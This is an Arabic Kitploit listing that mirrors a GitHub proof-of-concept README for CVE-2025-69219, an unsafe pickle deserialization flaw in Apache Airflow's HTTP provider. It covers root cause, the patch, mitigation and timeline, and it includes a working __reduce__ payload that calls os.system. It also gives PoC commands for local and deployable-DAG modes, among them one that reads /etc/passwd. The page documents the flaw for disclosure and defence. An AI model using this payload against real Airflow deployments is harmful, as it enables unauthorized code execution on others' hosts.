Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-69219 | Kitploit
أدوات/GitHubGitHub/sak110/cve-2025-69219
تحليل الثغرات الأمنيةالاستغلالالأوراق والأبحاثالتعلم والتعليمتطوير الحمولاتاستغلال الملفات الثنائية
GitHubsak110/cve-2025-69219

CVE-2025-69219

عرض المستودع
73منذ 5 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2025-69219 — RCE في Apache Airflow Providers HTTP عبر إلغاء تسلسل Pickle غير آمن

الخطورة: عالية (CVSS 3.1: 8.8)
ناقل الهجوم: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE: CWE-913 — تحكم غير سليم في موارد التعليمات البرمجية المُدارة ديناميكيًا
الإصدارات المتأثرة: apache-airflow-providers-http >= 5.1.0, < 6.0.0
تم الإصلاح في: apache-airflow-providers-http == 6.0.0
التصحيح: apache/airflow#61662 · commit 97839f7


نظرة عامة

كان مزوّد HTTP الخاص بـ Apache Airflow يستخدم وحدة pickle في بايثون لتسلسل وإلغاء تسلسل استجابات مشغّل HTTP للمهام المؤجلة. كانت نقطة الاستغلال (sink) المعرّضة للخطر في HttpOperator.execute_complete() على النحو التالي:

root@kitploit:~
# VULNERABLE (pre-patch) — providers/http/src/.../operators/http.py
response = pickle.loads(base64.standard_b64decode(event["response"]))

يتم قراءة قاموس event من قاعدة بيانات Airflow، ما يعني أن أي كيان يملك صلاحيات كتابة في قاعدة البيانات يمكنه زرع حمولة pickle خبيثة. عندما يعالج عامل Triggerer المهمة المؤجلة، فإنه يلغي تسلسل تلك الحمولة بشكل أعمى، منفذًا أوامر نظام تشغيل عشوائية بصلاحيات عملية Triggerer — أي ما يعادل صلاحيات مؤلف DAG.


السبب الجذري

يُعد استدعاء pickle.loads() على بيانات غير موثوقة عملية غير آمنة بطبيعتها. يسمح بروتوكول __reduce__ الخاص بـ pickle بتضمين أي كائن قابل للاستدعاء في بايثون داخل الكتلة المتسلسلة واستدعائه أثناء إلغاء التسلسل دون أي عزل (sandboxing).

يقوم Triggerer التابع لـ Airflow بتسلسل استجابة HTTP عند اكتمالها وتخزينها في قاعدة البيانات:

root@kitploit:~
# triggers/http.py (pre-patch)
yield TriggerEvent({
    "status": "success",
    "response": base64.standard_b64encode(pickle.dumps(response)).decode("ascii"),
})

يستبدل المهاجم على مستوى قاعدة البيانات هذه القيمة بكتلة pickle مصنوعة بعناية، على سبيل المثال:

root@kitploit:~
class RCEPayload:
    def __reduce__(self):
        return (os.system, ("id",))

payload = base64.b64encode(pickle.dumps(RCEPayload())).decode()

ثم يستدعي Triggerer الدالة execute_complete ← pickle.loads() ← RCE (تنفيذ التعليمات البرمجية عن بُعد).


الإصلاح (6.0.0)

يستبدل التصحيح pickle بالكامل بمُسلسل JSON آمن وصريح:

root@kitploit:~
# triggers/http.py (post-patch)
yield TriggerEvent({
    "status": "success",
    "response": HttpResponseSerializer.serialize(response),  # JSON dict
})
root@kitploit:~
# HttpResponseSerializer.deserialize() — validates input is a dict, never executes code
if isinstance(data, str):
    raise TypeError("Response data must be a dict, got str")

يعيد مُلغي التسلسل الجديد بناء كائن requests.Response فقط من الحقول المعروفة (status_code، headers، content، إلخ) — لا يمكن تنفيذ أي تعليمات برمجية عشوائية.


إثبات المفهوم (PoC)

المتطلبات

root@kitploit:~
# Python 3.9+; install a vulnerable version
pip install "apache-airflow-providers-http>=5.1.0,<6.0.0"

الوضع 1 — محاكاة محلية (بدون الحاجة إلى Airflow)

يعيد إنتاج استدعاء pickle.loads() المعرّض للخطر داخل العملية:

root@kitploit:~
python poc.py
# or with a custom command:
python poc.py --cmd "whoami"

مثال على المخرجات:

root@kitploit:~
  CVE-2025-69219 | Apache Airflow Providers HTTP < 6.0.0
  Unsafe Pickle Deserialization → RCE via HttpOperator
  -------------------------------------------------------

[*] Command       : id
[*] Pickle payload: gASVKAAAAAAAAACMAnBvc3lzdGVtlIWUUpQu...
[*] Triggering deserialization (simulating execute_complete) ...

uid=1000(user) gid=1000(user) groups=1000(user)

[+] os.system returned: 0  (0 = success)

الوضع 2 — نشر DAG كامل (يتطلب مثيل Airflow قيد التشغيل مع providers-http < 6.0.0)

root@kitploit:~
# Generate a deployable DAG
python poc.py --mode dag --cmd "id"

# Copy to your Airflow DAGs directory
cp cve_2025_69219_poc_dag.py $AIRFLOW_HOME/dags/

# Trigger from the Airflow UI or CLI
airflow dags trigger cve_2025_69219_poc

تحقق من سجلات المهمة للاطلاع على مخرجات الأمر.

طباعة الحمولة الخام

root@kitploit:~
python poc.py --show-payload --cmd "cat /etc/passwd"

التأثير

العاملالتفاصيل
من يمكنه الاستغلالأي مستخدم يملك صلاحية كتابة مباشرة في قاعدة بيانات Airflow

التخفيف

  1. قم بترقية apache-airflow-providers-http إلى الإصدار 6.0.0 أو أحدث.
  2. قيّد الوصول إلى قاعدة البيانات — يجب أن تمتلك حسابات خدمة المجدول (scheduler) وخادم الويب (webserver) في Airflow فقط صلاحية الكتابة إلى قاعدة البيانات الوصفية (metadata DB).
  3. قبل الترقية، تأكد من اكتمال أو مسح جميع مهام HTTP المؤجلة (deferrable=True)، حيث أن المهام قيد التنفيذ التي تم تسلسلها باستخدام pickle ستُحدث خطأ TypeError بعد الترقية (تغيير جوهري موثق في سجل تغييرات المزوّد).
root@kitploit:~
pip install "apache-airflow-providers-http>=6.0.0"

الجدول الزمني

التاريخالحدث
2026-03-09نشر CVE بواسطة Apache Software Foundation
2026-03-09دمج الإصلاح (PR #61662، commit 97839f7)
2026-03-09الإفصاح عنه في القائمة البريدية oss-security

المراجع

  • CVE-2025-69219 على NVD
  • تنبيه GitHub الأمني GHSA-9r5j-7r2x-rv4g
  • التصحيح PR #61662
  • التصحيح commit 97839f7
  • الإفصاح على oss-security

الاعتمادات

  • skypher — مكتشف
  • Shauryae1337 — مكتشف
  • ahmetartuc — مكتشف ومؤلف إثبات المفهوم الأصلي (poc-cve-2025-69219)

يستند إثبات المفهوم في هذا المستودع إلى العمل الأصلي الذي قام به @ahmetartuc.


إخلاء المسؤولية

يُنشر إثبات المفهوم هذا للأغراض التعليمية وبحوث الأمن فقط. لا تختبره إلا ضد أنظمة تمتلكها أو لديك إذن كتابي صريح لاختبارها. لا يتحمل المؤلفون أي مسؤولية عن أي إساءة استخدام.

تنزيل الأداة
سياق التنفيذعملية عامل Triggerer (بنفس صلاحيات مؤلف DAG)
الاحتماليةمنخفضة — الوصول المباشر إلى قاعدة البيانات غير معتاد في بيئات النشر المهيأة جيدًا
نطاق الضرر (Blast radius)RCE كامل على مضيف عقدة Triggerer: سرقة البيانات، الحركة الجانبية، الاستمرارية